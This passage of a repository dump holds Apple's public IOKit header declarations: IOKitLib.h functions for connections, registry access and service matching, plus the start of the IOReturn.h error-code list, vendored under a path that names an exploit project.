handle created by IOServiceOpen. @param propertyName The name of the property as a CFString. @param property A CF container - should consist of objects which are understood by IOKit - these are currently : CFDictionary, CFArray, CFSet, CFString, CFData, CFNumber, CFBoolean, and are passed in the kernel as the corresponding OSDictionary etc. objects. @result A kern_return_t error code returned by the object. */ kern_return_t IOConnectSetCFProperty( io_connect_t connect, CFStringRef propertyName, CFTypeRef property ); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ // Combined LP64 & ILP32 Extended IOUserClient::externalMethod kern_return_t IOConnectCallMethod( mach_port_t connection, // In uint32_t selector, // In const uint64_t *input, // In uint32_t inputCnt, // In const void *inputStruct, // In size_t inputStructCnt, // In uint64_t *output, // Out uint32_t *outputCnt, // In/Out void *outputStruct, // Out size_t *outputStructCnt) // In/Out AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; kern_return_t IOConnectCallAsyncMethod( mach_port_t connection, // In uint32_t selector, // In mach_port_t wake_port, // In uint64_t *reference, // In uint32_t referenceCnt, // In const uint64_t *input, // In uint32_t inputCnt, // In const void *inputStruct, // In size_t inputStructCnt, // In uint64_t *output, // Out uint32_t *outputCnt, // In/Out void *outputStruct, // Out size_t *outputStructCnt) // In/Out AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; kern_return_t IOConnectCallStructMethod( mach_port_t connection, // In uint32_t selector, // In const void *inputStruct, // In size_t inputStructCnt, // In void *outputStruct, // Out size_t *outputStructCnt) // In/Out AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; kern_return_t IOConnectCallAsyncStructMethod( mach_port_t connection, // In uint32_t selector, // In mach_port_t wake_port, // In uint64_t *reference, // In uint32_t referenceCnt, // In const void *inputStruct, // In size_t inputStructCnt, // In void *outputStruct, // Out size_t *outputStructCnt) // In/Out AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; kern_return_t IOConnectCallScalarMethod( mach_port_t connection, // In uint32_t selector, // In const uint64_t *input, // In uint32_t inputCnt, // In uint64_t *output, // Out uint32_t *outputCnt) // In/Out AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; kern_return_t IOConnectCallAsyncScalarMethod( mach_port_t connection, // In uint32_t selector, // In mach_port_t wake_port, // In uint64_t *reference, // In uint32_t referenceCnt, // In const uint64_t *input, // In uint32_t inputCnt, // In uint64_t *output, // Out uint32_t *outputCnt) // In/Out AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ kern_return_t IOConnectTrap0(io_connect_t connect, uint32_t index ); kern_return_t IOConnectTrap1(io_connect_t connect, uint32_t index, uintptr_t p1 ); kern_return_t IOConnectTrap2(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2); kern_return_t IOConnectTrap3(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3); kern_return_t IOConnectTrap4(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4); kern_return_t IOConnectTrap5(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5); kern_return_t IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /*! @function IOConnectAddClient @abstract Inform a connection of a second connection. @discussion This is a generic method to inform a family connection of a second connection, and is rarely used. @param connect The connect handle created by IOServiceOpen. @param client Another connect handle created by IOServiceOpen. @result A kern_return_t error code returned by the family. */ kern_return_t IOConnectAddClient( io_connect_t connect, io_connect_t client ); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /* * IORegistry accessors */ /*! @function IORegistryGetRootEntry @abstract Return a handle to the registry root. @discussion This method provides an accessor to the root of the registry for the machine. The root may be passed to a registry iterator when iterating a plane, and contains properties that describe the available planes, and diagnostic information for IOKit. @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. @result A handle to the IORegistryEntry root instance, to be released with IOObjectRelease by the caller, or MACH_PORT_NULL on failure. */ io_registry_entry_t IORegistryGetRootEntry( mach_port_t masterPort ); /*! @function IORegistryEntryFromPath @abstract Looks up a registry entry by path. @discussion This function parses paths to lookup registry entries. The path should begin with ':' If there are characters remaining unparsed after an entry has been looked up, this is considered an invalid lookup. Paths are further documented in IORegistryEntry.h @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. @param path A C-string path. @result A handle to the IORegistryEntry witch was found with the path, to be released with IOObjectRelease by the caller, or MACH_PORT_NULL on failure. */ io_registry_entry_t IORegistryEntryFromPath( mach_port_t masterPort, const io_string_t path ); // options for IORegistryCreateIterator(), IORegistryEntryCreateIterator, IORegistryEntrySearchCFProperty() enum { kIORegistryIterateRecursively = 0x00000001, kIORegistryIterateParents = 0x00000002 }; /*! @function IORegistryCreateIterator @abstract Create an iterator rooted at the registry root. @discussion This method creates an IORegistryIterator in the kernel that is set up with options to iterate children of the registry root entry, and to recurse automatically into entries as they are returned, or only when instructed with calls to IORegistryIteratorEnterEntry. The iterator object keeps track of entries that have been recursed into previously to avoid loops. @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. @param options kIORegistryIterateRecursively may be set to recurse automatically into each entry as it is returned from IOIteratorNext calls on the registry iterator. @param iterator A created iterator handle, to be released by the caller when it has finished with it. @result A kern_return_t error code. */ kern_return_t IORegistryCreateIterator( mach_port_t masterPort, const io_name_t plane, IOOptionBits options, io_iterator_t * iterator ); /*! @function IORegistryEntryCreateIterator @abstract Create an iterator rooted at a given registry entry. @discussion This method creates an IORegistryIterator in the kernel that is set up with options to iterate children or parents of a root entry, and to recurse automatically into entries as they are returned, or only when instructed with calls to IORegistryIteratorEnterEntry. The iterator object keeps track of entries that have been recursed into previously to avoid loops. @param entry The root entry to begin the iteration at. @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. @param options kIORegistryIterateRecursively may be set to recurse automatically into each entry as it is returned from IOIteratorNext calls on the registry iterator. kIORegistryIterateParents may be set to iterate the parents of each entry, by default the children are iterated. @param iterator A created iterator handle, to be released by the caller when it has finished with it. @result A kern_return_t error code. */ kern_return_t IORegistryEntryCreateIterator( io_registry_entry_t entry, const io_name_t plane, IOOptionBits options, io_iterator_t * iterator ); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /* * IORegistryIterator, subclass of IOIterator */ /*! @function IORegistryIteratorEnterEntry @abstract Recurse into the current entry in the registry iteration. @discussion This method makes the current entry, ie. the last entry returned by IOIteratorNext, the root in a new level of recursion. @result A kern_return_t error code. */ kern_return_t IORegistryIteratorEnterEntry( io_iterator_t iterator ); /*! @function IORegistryIteratorExitEntry @abstract Exits a level of recursion, restoring the current entry. @discussion This method undoes an IORegistryIteratorEnterEntry, restoring the current entry. If there are no more levels of recursion to exit false is returned, otherwise true is returned. @result kIOReturnSuccess if a level of recursion was undone, kIOReturnNoDevice if no recursive levels are left in the iteration. */ kern_return_t IORegistryIteratorExitEntry( io_iterator_t iterator ); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /* * IORegistryEntry, subclass of IOObject */ /*! @function IORegistryEntryGetName @abstract Returns a C-string name assigned to a registry entry. @discussion Registry entries can be named in a particular plane, or globally. This function returns the entry's global name. The global name defaults to the entry's meta class name if it has not been named. @param entry The registry entry handle whose name to look up. @param name The caller's buffer to receive the name. @result A kern_return_t error code. */ kern_return_t IORegistryEntryGetName( io_registry_entry_t entry, io_name_t name ); /*! @function IORegistryEntryGetNameInPlane @abstract Returns a C-string name assigned to a registry entry, in a specified plane. @discussion Registry entries can be named in a particular plane, or globally. This function returns the entry's name in the specified plane or global name if it has not been named in that plane. The global name defaults to the entry's meta class name if it has not been named. @param entry The registry entry handle whose name to look up. @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. @param name The caller's buffer to receive the name. @result A kern_return_t error code. */ kern_return_t IORegistryEntryGetNameInPlane( io_registry_entry_t entry, const io_name_t plane, io_name_t name ); /*! @function IORegistryEntryGetLocationInPlane @abstract Returns a C-string location assigned to a registry entry, in a specified plane. @discussion Registry entries can given a location string in a particular plane, or globally. If the entry has had a location set in the specified plane that location string will be returned, otherwise the global location string is returned. If no global location string has been set, an error is returned. @param entry The registry entry handle whose name to look up. @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. @param location The caller's buffer to receive the location string. @result A kern_return_t error code. */ kern_return_t IORegistryEntryGetLocationInPlane( io_registry_entry_t entry, const io_name_t plane, io_name_t location ); /*! @function IORegistryEntryGetPath @abstract Create a path for a registry entry. @discussion The path for a registry entry is copied to the caller's buffer. The path describes the entry's attachment in a particular plane, which must be specified. The path begins with the plane name followed by a colon, and then followed by '/' separated path components for each of the entries between the root and the registry entry. An alias may also exist for the entry, and will be returned if available. @param entry The registry entry handle whose path to look up. @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. @param path A char buffer allocated by the caller. @result IORegistryEntryGetPath will fail if the entry is not attached in the plane, or if the buffer is not large enough to contain the path. */ kern_return_t IORegistryEntryGetPath( io_registry_entry_t entry, const io_name_t plane, io_string_t path ); /*! @function IORegistryEntryCreateCFProperties @abstract Create a CF dictionary representation of a registry entry's property table. @discussion This function creates an instantaneous snapshot of a registry entry's property table, creating a CFDictionary analogue in the caller's task. Not every object available in the kernel is represented as a CF container; currently OSDictionary, OSArray, OSSet, OSSymbol, OSString, OSData, OSNumber, OSBoolean are created as their CF counterparts. @param entry The registry entry handle whose property table to copy. @param properties A CFDictionary is created and returned the caller on success. The caller should release with CFRelease. @param allocator The CF allocator to use when creating the CF containers. @param options No options are currently defined. @result A kern_return_t error code. */ kern_return_t IORegistryEntryCreateCFProperties( io_registry_entry_t entry, CFMutableDictionaryRef * properties, CFAllocatorRef allocator, IOOptionBits options ); /*! @function IORegistryEntryCreateCFProperty @abstract Create a CF representation of a registry entry's property. @discussion This function creates an instantaneous snapshot of a registry entry property, creating a CF container analogue in the caller's task. Not every object available in the kernel is represented as a CF container; currently OSDictionary, OSArray, OSSet, OSSymbol, OSString, OSData, OSNumber, OSBoolean are created as their CF counterparts. @param entry The registry entry handle whose property to copy. @param key A CFString specifying the property name. @param allocator The CF allocator to use when creating the CF container. @param options No options are currently defined. @result A CF container is created and returned the caller on success. The caller should release with CFRelease. */ CFTypeRef IORegistryEntryCreateCFProperty( io_registry_entry_t entry, CFStringRef key, CFAllocatorRef allocator, IOOptionBits options ); /*! @function IORegistryEntrySearchCFProperty @abstract Create a CF representation of a registry entry's property. @discussion This function creates an instantaneous snapshot of a registry entry property, creating a CF container analogue in the caller's task. Not every object available in the kernel is represented as a CF container; currently OSDictionary, OSArray, OSSet, OSSymbol, OSString, OSData, OSNumber, OSBoolean are created as their CF counterparts. This function will search for a property, starting first with specified registry entry's property table, then iterating recusively through either the parent registry entries or the child registry entries of this entry. Once the first occurrence is found, it will lookup and return the value of the property, using the same semantics as IORegistryEntryCreateCFProperty. The iteration keeps track of entries that have been recursed into previously to avoid loops. @param entry The registry entry at which to start the search. @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. @param key A CFString specifying the property name. @param allocator The CF allocator to use when creating the CF container. @param options kIORegistryIterateRecursively may be set to recurse automatically into the registry hierarchy. Without this option, this method degenerates into the standard IORegistryEntryCreateCFProperty() call. kIORegistryIterateParents may be set to iterate the parents of the entry, in place of the children. @result A CF container is created and returned the caller on success. The caller should release with CFRelease. */ CFTypeRef IORegistryEntrySearchCFProperty( io_registry_entry_t entry, const io_name_t plane, CFStringRef key, CFAllocatorRef allocator, IOOptionBits options ); /* @function IORegistryEntryGetProperty - deprecated, use IORegistryEntryCreateCFProperty */ kern_return_t IORegistryEntryGetProperty( io_registry_entry_t entry, const io_name_t propertyName, io_struct_inband_t buffer, uint32_t * size ); /*! @function IORegistryEntrySetCFProperties @abstract Set CF container based properties in a registry entry. @discussion This is a generic method to pass a CF container of properties to an object in the registry. Setting properties in a registry entry is not generally supported, it is more common to support IOConnectSetCFProperties for connection based property setting. The properties are interpreted by the object. @param entry The registry entry whose properties to set. @param properties A CF container - commonly a CFDictionary but this is not enforced. The container should consist of objects which are understood by IOKit - these are currently : CFDictionary, CFArray, CFSet, CFString, CFData, CFNumber, CFBoolean, and are passed in the kernel as the corresponding OSDictionary etc. objects. @result A kern_return_t error code returned by the object. */ kern_return_t IORegistryEntrySetCFProperties( io_registry_entry_t entry, CFTypeRef properties ); /*! @function IORegistryEntrySetCFProperty @abstract Set a CF container based property in a registry entry. @discussion This is a generic method to pass a CF container as a property to an object in the registry. Setting properties in a registry entry is not generally supported, it is more common to support IOConnectSetCFProperty for connection based property setting. The property is interpreted by the object. @param entry The registry entry whose property to set. @param propertyName The name of the property as a CFString. @param property A CF container - should consist of objects which are understood by IOKit - these are currently : CFDictionary, CFArray, CFSet, CFString, CFData, CFNumber, CFBoolean, and are passed in the kernel as the corresponding OSDictionary etc. objects. @result A kern_return_t error code returned by the object. */ kern_return_t IORegistryEntrySetCFProperty( io_registry_entry_t entry, CFStringRef propertyName, CFTypeRef property ); /*! @function IORegistryEntryGetChildIterator @abstract Returns an iterator over an registry entry's child entries in a plane. @discussion This method creates an iterator which will return each of a registry entry's child entries in a specified plane. @param entry The registry entry whose children to iterate over. @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. @param iterator The created iterator over the children of the entry, on success. The iterator must be released when the iteration is finished. @result A kern_return_t error code. */ kern_return_t IORegistryEntryGetChildIterator( io_registry_entry_t entry, const io_name_t plane, io_iterator_t * iterator ); /*! @function IORegistryEntryGetChildEntry @abstract Returns the first child of a registry entry in a plane. @discussion This function will return the child which first attached to a registry entry in a plane. @param entry The registry entry whose child to look up. @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. @param child The first child of the registry entry, on success. The child must be released by the caller. @result A kern_return_t error code. */ kern_return_t IORegistryEntryGetChildEntry( io_registry_entry_t entry, const io_name_t plane, io_registry_entry_t * child ); /*! @function IORegistryEntryGetParentIterator @abstract Returns an iterator over an registry entry's parent entries in a plane. @discussion This method creates an iterator which will return each of a registry entry's parent entries in a specified plane. @param entry The registry entry whose parents to iterate over. @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. @param iterator The created iterator over the parents of the entry, on success. The iterator must be released when the iteration is finished. @result A kern_return_t error. */ kern_return_t IORegistryEntryGetParentIterator( io_registry_entry_t entry, const io_name_t plane, io_iterator_t * iterator ); /*! @function IORegistryEntryGetParentEntry @abstract Returns the first parent of a registry entry in a plane. @discussion This function will return the parent to which the registry entry was first attached in a plane. @param entry The registry entry whose parent to look up. @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. @param child The first parent of the registry entry, on success. The parent must be released by the caller. @result A kern_return_t error code. */ kern_return_t IORegistryEntryGetParentEntry( io_registry_entry_t entry, const io_name_t plane, io_registry_entry_t * parent ); /*! @function IORegistryEntryInPlane @abstract Determines if the registry entry is attached in a plane. @discussion This method determines if the entry is attached in a plane to any other entry. @param entry The registry entry. @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. @result If the entry has a parent in the plane, true is returned, otherwise false is returned. */ boolean_t IORegistryEntryInPlane( io_registry_entry_t entry, const io_name_t plane ); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /* * Matching dictionary creation helpers */ /*! @function IOServiceMatching @abstract Create a matching dictionary that specifies an IOService class match. @discussion A very common matching criteria for IOService is based on its class. IOServiceMatching will create a matching dictionary that specifies any IOService of a class, or its subclasses. The class is specified by C-string name. @param name The class name, as a const C-string. Class matching is successful on IOService's of this class or any subclass. @result The matching dictionary created, is returned on success, or zero on failure. The dictionary is commonly passed to IOServiceGetMatchingServices or IOServiceAddNotification which will consume a reference, otherwise it should be released with CFRelease by the caller. */ CFMutableDictionaryRef IOServiceMatching( const char * name ); /*! @function IOServiceNameMatching @abstract Create a matching dictionary that specifies an IOService name match. @discussion A common matching criteria for IOService is based on its name. IOServiceNameMatching will create a matching dictionary that specifies an IOService with a given name. Some IOServices created from the OpenFirmware device tree will perform name matching on the standard OF compatible, name, model properties. @param name The IOService name, as a const C-string. @result The matching dictionary created, is returned on success, or zero on failure. The dictionary is commonly passed to IOServiceGetMatchingServices or IOServiceAddNotification which will consume a reference, otherwise it should be released with CFRelease by the caller. */ CFMutableDictionaryRef IOServiceNameMatching( const char * name ); /*! @function IOBSDNameMatching @abstract Create a matching dictionary that specifies an IOService match based on BSD device name. @discussion IOServices that represent BSD devices have an associated BSD name. This function creates a matching dictionary that will match IOService's with a given BSD name. @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. @param options No options are currently defined. @param bsdName The BSD name, as a const char *. @result The matching dictionary created, is returned on success, or zero on failure. The dictionary is commonly passed to IOServiceGetMatchingServices or IOServiceAddNotification which will consume a reference, otherwise it should be released with CFRelease by the caller. */ CFMutableDictionaryRef IOBSDNameMatching( mach_port_t masterPort, uint32_t options, const char * bsdName ); /*! @function IOOpenFirmwarePathMatching @abstract Create a matching dictionary that specifies an IOService match based on an OpenFirmware device path. @discussion Certain IOServices (currently, block and ethernet boot devices) may be looked up by a path that specifies their location in the OpenFirmware device tree, represented in the registry by the kIODeviceTreePlane plane. This function creates a matching dictionary that will match IOService's found with a given OpenFirmware device path. @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. @param options No options are currently defined. @param path The OpenFirmware device path, as a const char *. @result The matching dictionary created, is returned on success, or zero on failure. The dictionary is commonly passed to IOServiceGetMatchingServices or IOServiceAddNotification which will consume a reference, otherwise it should be released with CFRelease by the caller. */ CFMutableDictionaryRef IOOpenFirmwarePathMatching( mach_port_t masterPort, uint32_t options, const char * path ); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /*! @function IOServiceOFPathToBSDName @abstract Utility to look up an IOService from its OpenFirmware device path, and return its BSD device name if available. @discussion Certain IOServices (currently, block and ethernet boot devices) may be looked up by a path that specifies their location in the OpenFirmware device tree, represented in the registry by the kIODeviceTreePlane plane. This function looks up an IOService object with a given OpenFirmware device path, and returns its associated BSD device name. @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. @param openFirmwarePath The OpenFirmware device path, as a const char *. @param bsdName The BSD name, as a const char *, is copied to the callers buffer. @result A kern_return_t error code. */ kern_return_t IOServiceOFPathToBSDName(mach_port_t masterPort, const io_name_t openFirmwarePath, io_name_t bsdName); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /*! @typedef IOAsyncCallback0 @abstract standard callback function for asynchronous I/O requests with no extra arguments beyond a refcon and result code. @param refcon The refcon passed into the original I/O request @param result The result of the I/O operation */ typedef void (*IOAsyncCallback0)(void *refcon, IOReturn result); /*! @typedef IOAsyncCallback1 @abstract standard callback function for asynchronous I/O requests with one extra argument beyond a refcon and result code. This is often a count of the number of bytes transferred @param refcon The refcon passed into the original I/O request @param result The result of the I/O operation @param arg0 Extra argument */ typedef void (*IOAsyncCallback1)(void *refcon, IOReturn result, void *arg0); /*! @typedef IOAsyncCallback2 @abstract standard callback function for asynchronous I/O requests with two extra arguments beyond a refcon and result code. @param refcon The refcon passed into the original I/O request @param result The result of the I/O operation @param arg0 Extra argument @param arg1 Extra argument */ typedef void (*IOAsyncCallback2)(void *refcon, IOReturn result, void *arg0, void *arg1); /*! @typedef IOAsyncCallback @abstract standard callback function for asynchronous I/O requests with lots of extra arguments beyond a refcon and result code. @param refcon The refcon passed into the original I/O request @param result The result of the I/O operation @param args Array of extra arguments @param numArgs Number of extra arguments */ typedef void (*IOAsyncCallback)(void *refcon, IOReturn result, void **args, uint32_t numArgs); /* Internal use */ kern_return_t OSGetNotificationFromMessage( mach_msg_header_t * msg, uint32_t index, uint32_t * type, uintptr_t * reference, void ** content, vm_size_t * size ); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /* Internal use */ kern_return_t IOCatalogueSendData( mach_port_t masterPort, uint32_t flag, const char *buffer, uint32_t size ); kern_return_t IOCatalogueTerminate( mach_port_t masterPort, uint32_t flag, io_name_t description ); kern_return_t IOCatalogueGetData( mach_port_t masterPort, uint32_t flag, char **buffer, uint32_t *size ); kern_return_t IOCatalogueModuleLoaded( mach_port_t masterPort, io_name_t name ); kern_return_t IOCatalogueReset( mach_port_t masterPort, uint32_t flag ); /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ // obsolete API #if !defined(__LP64__) // for Power Mgt typedef struct IOObject IOObject; // for MacOS.app kern_return_t IORegistryDisposeEnumerator( io_enumerator_t enumerator ) DEPRECATED_ATTRIBUTE; kern_return_t IOMapMemory( io_connect_t connect, uint32_t memoryType, task_port_t intoTask, vm_address_t * atAddress, vm_size_t * ofSize, uint32_t flags ) DEPRECATED_ATTRIBUTE; // for CGS kern_return_t IOCompatibiltyNumber( mach_port_t connect, uint32_t * objectNumber ) DEPRECATED_ATTRIBUTE; // Traditional IOUserClient transport routines kern_return_t IOConnectMethodScalarIScalarO( io_connect_t connect, uint32_t index, IOItemCount scalarInputCount, IOItemCount scalarOutputCount, ... ) AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5; kern_return_t IOConnectMethodScalarIStructureO( io_connect_t connect, uint32_t index, IOItemCount scalarInputCount, IOByteCount * structureSize, ... ) AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5; kern_return_t IOConnectMethodScalarIStructureI( io_connect_t connect, uint32_t index, IOItemCount scalarInputCount, IOByteCount structureSize, ... ) AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5; kern_return_t IOConnectMethodStructureIStructureO( io_connect_t connect, uint32_t index, IOItemCount structureInputSize, IOByteCount * structureOutputSize, void * inputStructure, void * ouputStructure ) AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5; // Compatability with earlier Mig interface routines #if IOCONNECT_NO_32B_METHODS kern_return_t io_connect_map_memory( io_connect_t connect, uint32_t memoryType, task_port_t intoTask, vm_address_t *atAddress, vm_size_t *ofSize, IOOptionBits options) DEPRECATED_ATTRIBUTE; kern_return_t io_connect_unmap_memory( io_connect_t connect, uint32_t memoryType, task_port_t fromTask, vm_address_t atAddress) DEPRECATED_ATTRIBUTE; kern_return_t io_connect_method_scalarI_scalarO( mach_port_t connection, int selector, io_scalar_inband_t input, mach_msg_type_number_t inputCnt, io_scalar_inband_t output, mach_msg_type_number_t *outputCnt) DEPRECATED_ATTRIBUTE; kern_return_t io_connect_method_scalarI_structureO( mach_port_t connection, int selector, io_scalar_inband_t input, mach_msg_type_number_t inputCnt, io_struct_inband_t output, mach_msg_type_number_t *outputCnt) DEPRECATED_ATTRIBUTE; kern_return_t io_connect_method_scalarI_structureI( mach_port_t connection, int selector, io_scalar_inband_t input, mach_msg_type_number_t inputCnt, io_struct_inband_t inputStruct, mach_msg_type_number_t inputStructCnt) DEPRECATED_ATTRIBUTE; kern_return_t io_connect_method_structureI_structureO( mach_port_t connection, int selector, io_struct_inband_t input, mach_msg_type_number_t inputCnt, io_struct_inband_t output, mach_msg_type_number_t *outputCnt) DEPRECATED_ATTRIBUTE; kern_return_t io_async_method_scalarI_scalarO( mach_port_t connection, mach_port_t wake_port, io_async_ref_t reference, mach_msg_type_number_t referenceCnt, int selector, io_scalar_inband_t input, mach_msg_type_number_t inputCnt, io_scalar_inband_t output, mach_msg_type_number_t *outputCnt) DEPRECATED_ATTRIBUTE; kern_return_t io_async_method_scalarI_structureO( mach_port_t connection, mach_port_t wake_port, io_async_ref_t reference, mach_msg_type_number_t referenceCnt, int selector, io_scalar_inband_t input, mach_msg_type_number_t inputCnt, io_struct_inband_t output, mach_msg_type_number_t *outputCnt) DEPRECATED_ATTRIBUTE; kern_return_t io_async_method_scalarI_structureI( mach_port_t connection, mach_port_t wake_port, io_async_ref_t reference, mach_msg_type_number_t referenceCnt, int selector, io_scalar_inband_t input, mach_msg_type_number_t inputCnt, io_struct_inband_t inputStruct, mach_msg_type_number_t inputStructCnt) DEPRECATED_ATTRIBUTE; kern_return_t io_async_method_structureI_structureO( mach_port_t connection, mach_port_t wake_port, io_async_ref_t reference, mach_msg_type_number_t referenceCnt, int selector, io_struct_inband_t input, mach_msg_type_number_t inputCnt, io_struct_inband_t output, mach_msg_type_number_t *outputCnt) DEPRECATED_ATTRIBUTE; #endif // IOCONNECT_NO_32B_METHODS #endif /* defined(__LP64__) */ __END_DECLS #endif /* ! _IOKIT_IOKITLIB_H */ ================================================ FILE: Exploits/sock_port/include/IOKit/IOReturn.h ================================================ /* * Copyright (c) 1998-2002 Apple Computer, Inc. All rights reserved. * * @APPLE_OSREFERENCE_LICENSE_HEADER_START@ * * This file contains Original Code and/or Modifications of Original Code * as defined in and that are subject to the Apple Public Source License * Version 2.0 (the 'License'). You may not use this file except in * compliance with the License. The rights granted to you under the License * may not be used to create, or enable the creation or redistribution of, * unlawful or unlicensed copies of an Apple operating system, or to * circumvent, violate, or enable the circumvention or violation of, any * terms of an Apple operating system software license agreement. * * Please obtain a copy of the License at * http://www.opensource.apple.com/apsl/ and read it before using this file. * * The Original Code and all software distributed under the License are * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. * Please see the License for the specific language governing rights and * limitations under the License. * * @APPLE_OSREFERENCE_LICENSE_HEADER_END@ */ /* * HISTORY */ /* * Core IOReturn values. Others may be family defined. */ #ifndef __IOKIT_IORETURN_H #define __IOKIT_IORETURN_H #ifdef __cplusplus extern "C" { #endif #include typedef kern_return_t IOReturn; #ifndef sys_iokit #define sys_iokit err_system(0x38) #endif /* sys_iokit */ #define sub_iokit_common err_sub(0) #define sub_iokit_usb err_sub(1) #define sub_iokit_firewire err_sub(2) #define sub_iokit_block_storage err_sub(4) #define sub_iokit_graphics err_sub(5) #define sub_iokit_networking err_sub(6) #define sub_iokit_bluetooth err_sub(8) #define sub_iokit_pmu err_sub(9) #define sub_iokit_acpi err_sub(10) #define sub_iokit_smbus err_sub(11) #define sub_iokit_ahci err_sub(12) #define sub_iokit_powermanagement err_sub(13) //#define sub_iokit_hidsystem err_sub(14) #define sub_iokit_scsi err_sub(16) //#define sub_iokit_pccard err_sub(21) #define sub_iokit_vendor_specific err_sub(-2) #define sub_iokit_reserved err_sub(-1) #define iokit_common_err(return) (sys_iokit|sub_iokit_common|return) #define iokit_family_err(sub,return) (sys_iokit|sub|return) #define iokit_vendor_specific_err(return) (sys_iokit|sub_iokit_vendor_specific|return) #define kIOReturnSuccess KERN_SUCCESS // OK #define kIOReturnError iokit_common_err(0x2bc) // general error #define kIOReturnNoMemory iokit_common_err(0x2bd) // can't allocate memory #define kIOReturnNoResources iokit_common_err(0x2be) // resource shortage #define kIOReturnIPCError iokit_common_err(0x2bf) // error during IPC #define kIOReturnNoDevice iokit_common_err(0x2c0) // no such device #define kIOReturnNotPrivileged iokit_common_err(0x2c1) // privilege violation #define kIOReturnBadArgument iokit_common_err(0x2c2) // invalid argument #define kIOReturnLockedRead iokit_common_err(0x2c3) // device read locked #define kIOReturnLockedWrite iokit_common_err(0x2c4) // device write locked #define kIOReturnExclusiveAccess iokit_common_err(0x2c5) // exclusive access and // device already open #define kIOReturnBadMessageID iokit_common_err(0x2c6) // sent/received messages // had different msg_id #define kIOReturnUnsupported iokit_common_err(0x2c7) // unsupported function #define kIOReturnVMError iokit_common_err(0x2c8) // misc. VM failure #define kIOReturnInternalError iokit_common_err(0x2c9) // internal error #define kIOReturnIOError iokit_common_err(0x2ca) // General I/O error //#define kIOReturn???Error iokit_common_err(0x2cb) // ??? #define kIOReturnCannotLock iokit_common_err(0x2cc) // can't acquire lock #define kIOReturnNotOpen iokit_common_err(0x2cd) // device not open #define kIOReturnNotReadable iokit_common_err(0x2ce) // read not supported #define kIOReturnNotWritable iokit_common_err(0x2cf) // write not supported #define kIOReturnNotAligned iokit_common_err(0x2d0) // alignment error #define kIOReturnBadMedia iokit_common_err(0x2d1) // Media Error #define kIOReturnStillOpen iokit_common_err(0x2d2) // device(s) still open #define kIOReturnRLDError iokit_common_err(0x2d3) // rld failure #define kIOReturnDMAError iokit_common_err(0x2d4) // DMA failure #define kIOReturnBusy iokit_common_err(0x2d5) // Device Busy #define kIOReturnTimeout iokit_common_err(0x2d6) // I/O Timeout #define kIOReturnOffline iokit_common_err(0x2d7) // device offline #define kIOReturnNotReady iokit_common_err(0x2d8) // not ready #define kIOReturnNotAttached iokit_common_err(0x2d9) // device not attached #define kIOReturnNoChannels iokit_common_err(0x2da) // no DMA channels left #define kIOReturnNoSpace iokit_common_err(0x2db) // no space for data 